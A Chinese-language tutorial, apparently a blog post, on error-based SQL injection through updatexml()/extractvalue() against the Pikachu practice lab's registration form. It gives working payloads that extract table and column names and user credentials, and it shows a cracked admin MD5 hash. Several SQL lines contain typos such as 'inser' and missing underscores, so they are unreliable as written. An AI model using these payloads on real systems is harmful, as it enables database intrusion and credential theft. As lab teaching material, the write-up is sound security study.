前提了解
1.分析
注册、修改及删除,对应数据库使用insert/updae/delete方式处理;内置sql语句前段非select,故不可使用union联合查询,
而可使用基于函数报错信息获取;
条件:页面可以显示数据库语法报错信息
2.常用函数:
updatexml(原string,XPathstring,新string)原string中查找XPathstring替换为新string
函数名 作用 参数
updatexml() mysql对xml文档数据进行查询和修改的XPATH函数 原string,XPathstring,新string
extractvalue() mysql对xml文档数据进行查询的XPATH函数 原string,XPathstring
函数机制:Xpathstring必须有效,否则报错
由于Xpathstring可为表达式,所以破坏函数结构,使其报错并运行
一.检查条件
1.填写必填项,一般第一个TextInput内输入’,闭合语句:
在这里插入图片描述
2.点击注册submit后观察页面反馈:
在这里插入图片描述
结果:有数据库语法错误信息,则该页面有sql注入点,可以使用sql注入方式破解。
二.构建基于报错的updatexml()语句进行实验:
1.正常的inser语句:
inser into member (username,pw,sex,phonenum,address,email) values ('xx',1,1,1,1,1)
1
2.基于报错的updatexml()语句:
version():显示数据库版本信息
inser into member (username,pw,sex,phonenum,address,email) values ('' or updatexml(1,version(),2) or'',1,1,1,1,1)
1
显示版本信息不完整,使用concat与0x7e连接重构:
inser into member (username,pw,sex,phonenum,address,email) values ('' or updatexml(1,concat( 0x7e,version() ),2) or'',1,1,1,1,1)
1
故,payLoadString:' or updatexml(1,concat( 0x7e,version() ),2) or'
3.将构建的payLoadString带入TextInput注入:
在这里插入图片描述
在这里插入图片描述
-后面则为注入成功后的结果
三.根据以上原理,获取数据库中用户名、密码信息:
1.获取数据库名:
inser into member (username,pw,sex,phonenum,address,email) values ('' or updatexml(1,database(),2) or'',1,1,1,1,1)
1
故,payLoadString:' or updatexml(1,concat( 0x7e,database() ),2) or'
在这里插入图片描述
结果:数据库名:pikachu
2.获取表名:
2.1首次尝试
1
inser into member (username,pw,sex,phonenum,address,email) values ('' or updatexml(1,(select tablename from informationschema.tables where tableschema='pikachu')),2) or'',1,1,1,1,1)
1
故,payLoadString:' or updatexml(1,concat( 0x7e,(select tablename from informationschema.tables where tableschema='pikachu') ),2) or'
在这里插入图片描述
返回结果为多行,无法显示,可使用groupconcat()将搜索结果合为一个返回参数:
2.2再次尝试
1
故,payLoadString:' or updatexml(1,concat( 0x7e,(select groupconcat(tablename) from informationschema.tables where tableschema='pikachu') ),2) or'
在这里插入图片描述
结果:返回所有表面结果,用户信息基本在users表中
应该说可以返回所有表面,由于updatexml()、extractvalue()函数只能显示32位,故只返回32位表名(未显示完全);
1
3.获取users表列名:
inser into member (username,pw,sex,phonenum,address,email) values ('' or updatexml(1,(select groupconcat(columnname) from informationschema.columns where tablename='users')),2) or'',1,1,1,1,1)
1
故,payLoadString:' or updatexml(1,concat( 0x7e,(select groupconcat(columnname) from informationschema.columns where tablename='users') ),2) or'
在这里插入图片描述
结果:返回users表中列名
应该说可以返回所有列名,由于updatexml()、extractvalue()函数只能显示32位,故只返回32位表名(未显示完全),如果没找到在select语句后加limit x,y 查询第x行开始的y行数据;
1
3.获取users表中数据:
inser into member (username,pw,sex,phonenum,address,email) values ('' or updatexml(1,concat( 0x7e,(select groupconcat('||',username,',',password) from users) ),2) or'',1,1,1,1,1)
1
故,payLoadString:' or updatexml(1,concat( 0x7e,(select group_concat('||',username,',',password) from users) ),2) or'
在这里插入图片描述
***结果分析,由于updatexml()、extractvalue()函数只能显示32位,故只返回32位结果(未显示完全),观察密码为MD5加密过的,是32位,再加上账号,远超超过32位,所以需要一个一个查,在select语句后加limit x,y 查询第x行开始的y行数据;
故,获取第一个账号payLoadString1:' or updatexml(1,concat( 0x7e,(select username from users limit 0,1) ),2) or'
获取MD5加密后第一个密码前31位payLoadString2:' or updatexml(1,concat( 0x7e,(select password from users limit 0,1) ),2) or'
获取MD5加密后第一个密码最后1位payLoadString2:' or updatexml(1,concat( 0x7e,(select right(password,1) from users limit 0,1) ),2) or'
得到后将密码拼接并尝试破解
在这里插入图片描述
结果:成功获取已注册的账号:admin,密码e10adc3949ba59abbe56e057f20f883e(MD5加密,解析后为:123456)
extractvalue()与updatexml()同理,不需要对后一个参数即可
update、delete与insert同理,满足条件均可使用基于报错的updatexml()/extractvalue()语句获取数据库资料。
1
2
3
文章知识点与官方知识档案匹配,可进一步学习相关知识
C技能树函数与程序结构函数的声明与定义11326 人正在系统学习中